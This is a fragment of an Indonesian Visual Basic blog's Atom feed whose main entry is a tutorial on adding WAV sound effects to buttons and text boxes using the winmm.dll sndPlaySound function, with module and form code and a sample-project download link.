href='http://vbasiccode.blogspot.com/feeds/7677320918247654655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/cek-ip-adress-orang-lain-aktif-atau.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/7677320918247654655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/7677320918247654655'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/cek-ip-adress-orang-lain-aktif-atau.html' title='Cek IP Adress Orang Lain Aktif Atau Tidak'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-4867794251057183867</id><published>2008-06-12T08:05:00.011+07:00</published><updated>2011-01-01T00:25:47.744+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Menambah Sound Wav Pada Aplikasi misal Sound Pada Tombol</title><content type='html'>Tambahkan Sound Wave pada aplikasi anda agar aplikasi akan terlihat lebih menarik.Misal command buttons yang berbunyi pada saat diklik.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Untuk proyek kita kali ini membutuhkan controll, yaitu :&lt;br /&gt;- 2 text box dengan propertis name text1 dan text2&lt;br /&gt;- 4 command buttons dengan properties namenya standar/default tanpa perubahan.&lt;br /&gt;- 3 label dengan properties name default&lt;br /&gt;- contoh-contoh file sound wav yang diletakan di luar aplikasi&lt;br /&gt;- timer dengan properties name timer1 dan dengan interval 100.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Tuliskan code di bawah ini pada modul&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;&lt;span style="font-size: x-small;"&gt;Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Const SND_SYNC = &amp;amp;H0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Const SND_ASYNC = &amp;amp;H1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Const SND_NODEFAULT = &amp;amp;H2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Const SND_LOOP = &amp;amp;H8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Const SND_NOSTOP = &amp;amp;H10&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Sub PlayWaveSoundOkExit_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;soundfile$ = "audio\rain_tag_water.wav"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;wFlags% = SND_ASYNC Or SND_NODEFAULT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;HaHa = sndPlaySound(soundfile$, wFlags%)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Sub StopTheSound_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;StopTheSoundNOW = sndPlaySound(soundfile$, wFlags%)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Sub PlayWaveSoundIntro_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;soundfile$ = "audio\a_sparrow.wav"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;wFlags% = SND_ASYNC Or SND_NODEFAULT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;HaHa = sndPlaySound(soundfile$, wFlags%)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Sub PlayWaveSoundLblTxt_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;soundfile$ = "audio\e_twigs.wav"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;wFlags% = SND_ASYNC Or SND_NODEFAULT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;HaHa = sndPlaySound(soundfile$, wFlags%)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Sub PlayWaveSoundAyam_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;soundfile$ = "audio\Ayam berkokok.wav"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;wFlags% = SND_ASYNC Or SND_NODEFAULT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;HaHa = sndPlaySound(soundfile$, wFlags%)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;u&gt;Tuliskan code di bawah ini pada Form&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Command1_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PlayWaveSoundOkExit_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Command2_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PlayWaveSoundAyam_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Command3_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;StopTheSoundNOW = sndPlaySound(soundfile$, wFlags%)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Command4_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PlayWaveSoundOkExit_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Timer1.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Command2.Visible = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Command3.Visible = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Command4.Visible = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Command1.Visible = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Form_Load()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PlayWaveSoundIntro_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Sound Wav Intro telah berbunyi, selanjutnya Sound Wav saat menekan Ok", vbOKOnly, "Info"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PlayWaveSoundOkExit_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Text1_Change()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PlayWaveSoundLblTxt_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Text2_Change()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PlayWaveSoundLblTxt_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Timer1_Timer()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Not Text1.Text = "" And Not Text2.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Command4.Visible = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Command4.Visible = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Label3.ForeColor = &amp;amp;HFFFFFF Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Label3.ForeColor = &amp;amp;H80000008&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Label3.ForeColor = &amp;amp;HFFFFFF&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Terimakasih, semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/10365710/MenambahSoindWav.rar.html"&gt;Download Menambah Sound Wav&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-4867794251057183867?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/4867794251057183867/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/menambah-sound-wav-pada-aplikasi-misal.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/4867794251057183867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/4867794251057183867'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/menambah-sound-wav-pada-aplikasi-misal.html' title='Menambah Sound Wav Pada Aplikasi misal Sound Pada Tombol'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>7</thr:total></entry></feed>
